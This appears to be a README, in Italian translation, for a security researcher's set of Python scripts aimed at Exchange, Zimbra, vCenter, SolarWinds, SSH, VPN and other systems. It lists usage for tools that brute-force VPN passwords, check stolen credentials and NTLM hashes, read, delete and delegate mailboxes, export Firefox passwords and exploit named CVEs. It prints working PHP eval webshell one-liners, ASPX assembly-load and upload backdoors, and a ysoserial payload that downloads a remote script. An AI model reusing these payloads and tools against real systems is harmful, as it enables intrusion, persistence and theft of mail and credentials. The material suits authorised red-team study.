
Python codes of my blog.
Codici Python del mio blog.
Usa un attacco di forza bruta per ottenere la password della VPN PPTP.
Legge le password dal file (chiamato wordlist) e poi usa pptpsetup per connettersi al server.
L'intervallo di tempo è di 10 secondi.
Usato per scansionare le porte.
Il timeout è di 3 secondi.
versione C++:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/portscan.cpp
Usato per ottenere l'IP da un URL.
Posso usare direttamente il risultato di Sublist3r.
Usato per rimuovere gli IP duplicati dal risultato di Sublist3r.
Posso usare direttamente il risultato di urltoip.py.
Gli IP possono essere ordinati usando Sublime (F9).
Usato per rimuovere elementi duplicati da un file.
Riferimento:
https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
Usato per chiamare l'API di fofa e stampare gli IP dai risultati.
Puoi ottenere 100 risultati.
Usato per chiamare l'API di fofa e stampare gli IP dai risultati.
Se sei VIP, ottieni 10000 risultati.
Riferimento:
https://seclists.org/fulldisclosure/2019/Sep/31
Es.
echo \<?php @eval\(\$_POST[pwd]\)\;?\> >test.php
Riferimento:
https://mp.weixin.qq.com/s/dTzWfYGdkNqEl0vd72oC2w
Es.
system('cmd /c "echo ^<?php @eval(^$_POST[pwd]);?^> >D:\phpstudy\WWW\test.php"');
Usato per esportare la password di Firefox
Usato per ottenere la versione di Exchange.
Prima ottieni il BuildNumber dal codice sorgente dell'URL e poi ottieni la versione.
Riferimento:
Usato per scansionare la vulnerabilità SMBv3 RCE.
Il timeout è di 3 secondi.
Riferimento:
https://github.com/imjdl/CVE-2020-8515-PoC
CVE-2020-8515
I dispositivi DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta e Vigor300B 1.3.3_Beta, 1.4.2.1_Beta e 1.4.4_Beta consentono l'esecuzione remota di codice come root (senza autenticazione) tramite metacaratteri di shell verso l'URI cgi-bin/mainfunction.cgi..
Prodotti interessati:
Usa l'API SOAP di Zimbra per connettersi al server di posta Zimbra.
Uso:
Zimbra_SOAP_API.py <url> <username> <password> <mode>
modalità:
Es:
Zimbra_SOAP_API.py https://192.168.1.1 [email protected] password low
Usato per verificare la validità di un account di Exchange Web Service (supporta plaintext e ntlmhash)
Riferimento:https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
Uso:
checkEWS.py <host> <port> <mode> <domain> <user> <password>
<mode>:
- plaintext
- ntlmhash
Es.
checkEWS.py 192.168.1.1 443 plaintext test.com user1 password1
checkEWS.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1
Usato per accedere ad Autodiscover.xml e ottenere la configurazione dell'utente (supporta plaintext e ntlmhash)
Uso:
checkAutodiscover.py <host> <port> <mode> <email> <password> <command>
<command>:
- checkautodiscover
- getusersetting
- checkoab
- downloadlzx
Es.
checkAutodiscover.py 192.168.1.1 443 plaintext [email protected] password1 checkaut
odiscover
checkAutodiscover.py test.com 80 ntlmhash [email protected] c5a237b7e9d8e708d8436b6
148a25fa1 getusersetting
Modalità extra di checkAutodiscover.py
Aggiunge un parametro
Usato per accedere a Exchange Web Service (supporta plaintext e ntlmhash)
Uso:
ewsManage.py <host> <port> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
<command>:
- getfolderofinbox
- getfolderofsentitems
- listmailofinbox
- listmailofsentitems
- listmailoffolder
- getmail
- deletemail
- deletefolder
- getattachment
- saveattachment
- getdelegateofinbox
- adddelegateofinbox
- updatedelegateofinbox
- removedelegateofinbox
- getdelegateofinbox2
- updatedelegateofinbox2
- restoredelegateofinbox2
- getinboxrules
- updateinboxrules
- removeinboxrules
- deleteattachment
- createattachment
- createfolderofinbox
- listhiddenfolderofinbox
- createtestmail
- SetHiddenPropertyType
- UpdateHiddenPropertyType
- getcontact
- findpeople
- findallpeople
- resolvename
- resolveallname
Es.
ewsManage.py 192.168.1.1 443 plaintext test.com user1 password1 getfolderofinbox
ewsManage.py test.com 80 ntlmhash test.com user1 c5a237b7e9d8e708d8436b6148a25fa1 listmailofinbox
Usato per verificare credenziali SSH valide (supporta password e file di chiave privata)
Uso:
sshCheck.py <host> <port> <mode><user> <password>
<mode>:
- plaintext
- keyfile
Es.
sshCheck.py 192.168.1.1 22 plaintext root toor
sshCheck.py 192.168.1.1 22 keyfile root id_rsa
Esecuzione remota di comandi via SSH (supporta password e file di chiave privata)
Uso:
sshRunCmd.py <host> <port> <mode><user> <password> <cmd>
<mode>:
- plaintext
- keyfile
If the <cmd> is shell,you will get an interactive shell
Es.
sshRunCmd.py 192.168.1.1 22 plaintext root toor shell
sshRunCmd.py 192.168.1.1 22 keyfile root id_rsa ps
Usato per verificare la validità delle credenziali EAS (Exchange Server ActiveSync)
Uso:
easCheck.py <host> <user> <password>
Es.
easCheck.py 192.168.1.1 user1 password1
Usato per verificare la validità di un account Exchange connettendosi a OWA.
Uso:
checkOWA.py <url> <user> <password>
Usato per leggere le email connettendosi a OWA.
Uso:
owaManage.py <url> <user> <password> <command>
<command>
- ListFolder
- ViewMail
- DownloadAttachment
Usa IMAP per connettersi al server di posta.
Uso:
imapManage.py <IMAP server> <username> <password> <command>
<command>:
CheckConfig get the folder name
SaveAttachOfInbox save the attachments of Inbox
SaveAttachOfSent save the attachments of Sent
DownloadAllMailOfInbox download all the mails of Inbox
DownloadAllMailOfSent download all the mails of Sent
Eg:
imapManage.py 192.168.1.1 user1 password CheckConfig
Usato per implementare l'autenticazione NTLM e comunicare con execCmd.aspx
I dati di comunicazione sono codificati con Base64
Uso:
aspxCmdNTLM.py <host> <port> <url> <mode> <domain> <user> <password> <command>
<mode>:
- plaintext
- ntlmhash
Eg.
aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/1.txt plaintext test.com user
1 password1 whoami
aspxCmdNTLM.py test.com 80 http://192.168.1.1/1.aspx ntlmhash test.com user1 c5a
237b7e9d8e708d8436b6148a25fa1 whoami
Versione C#: SharpExchangeBackdoor.cs
Usato per inviare payload alla backdoor webshell di Exchange.
Supporta:
Uso:
<url> <user> <password> <mode> <path>
mode:
assemblyLoad
webshellWrite
es.
SharpExchangeBackdoor.py https://192.168.1.1/owa/auth/errorFE.aspx no auth assemblyLoad payload.dll
SharpExchangeBackdoor.py https://192.168.1.1/ecp/About.aspx user1 123456 webshellWrite payload.aspx
assemblyLoad.aspx:
<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%>
webshellWrite.aspx:
<%@ Page Language="C#" %><%if (Request.Files.Count!=0)Request.Files[0].SaveAs(Server.MapPath("./uploadDemo.aspx"));}%>
Deserializzazione non sicura di oggetti - IMAP
Uso:
<url> <user> <password> <payload path>
Es.
https://192.168.1.1 [email protected] password1 payload.obj
Nota:
Puoi generare payload.obj in questo modo:
java -jar ysoserial.jar MozillaRhino2 "/usr/bin/wget https://192.168.1.1/test.sh --no-check-certificate -O /tmp/test.sh" > payload.obj
Usato per testare l'esecuzione di codice tramite deserializzazione in Exchange.
Dai permessi di lettura e scrittura dei file di Exchange all'esecuzione di codice tramite deserializzazione.
È necessario modificare la machineKey in %ExchangeInstallPath%\FrontEnd\HttpProxy\\web.config per implementare l'esecuzione di codice tramite deserializzazione.
<path>: owa o ecp
Uso:
<url> <key> <path>
es.
192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
Usato per analizzare i messaggi XML SOAP di Exchange.
Usato per accedere all'Exchange admin center
Uso:
eacManage.py <url> <user> <password> <command>
<command>:
- ListAdminRoles
- NewAdminRoles
- EditAdminRoles
- DeleteAdminRoles
- AddMailbox
- RemoveMailbox
- ExportAllMailbox
- GetCertificate
- ExportCertificate
Usa vSphere Automation API (v7.0U1+) per gestire la VM
Supporta VM Windows e Linux
Usa vSphere Web Services API per gestire la VM
Riferimento: https://github.com/vmware/pyvmomi/
Installazione: pip install --upgrade pyvmomi
Usato per gestire il database LDAP su vCenter.
Usato per gestire la piattaforma SolarWinds Orion
Usa SolarWinds Orion API per gestire la piattaforma Orion
Usato per gestire il server di posta MailEnable
Supporta la ricezione dei risultati tramite protocollo HTTP o FTP.
Usato per accedere a Exchange Web Service (supporta plaintext e ntlmhash)
Usato per accedere a Exchange Web Service (supporta plaintext e ntlmhash)
Usa requests_ntlm2 per accedere a Exchange Web Service (supporta plaintext e ntlmhash)
Usa requests_ntlm2 per accedere a Exchange Web Service (supporta plaintext e ntlmhash)
Usa la sessione per ridurre i dati di comunicazione
Modificato da https://github.com/horizon3ai/vcenter_saml_login
Modificato da https://github.com/horizon3ai/vcenter_saml_login
Usato per ottenere la versione di Exchange e abbinarla alle vulnerabilità esistenti
Usato per ottenere la versione di Exchange e analizzare la versione da https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
È necessario salvare https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 come exchange.data
Usato per ottenere la versione di Exchange e analizzare la versione da https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
Usato per ottenere l'IP interno di Exchange
Basato su msf auxiliary/scanner/http/owa_iis_internal_ip, ma supporta più server Exchange.
Usato per ottenere la versione di vRealize Operations Manager
Usa bash per eseguire comandi
Usato per decrittare il file .plx di Sophos UTM
Riferimento:
https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
https://github.com/the6p4c/bfs_extract
Usato per analizzare la configurazione di Sophos UTM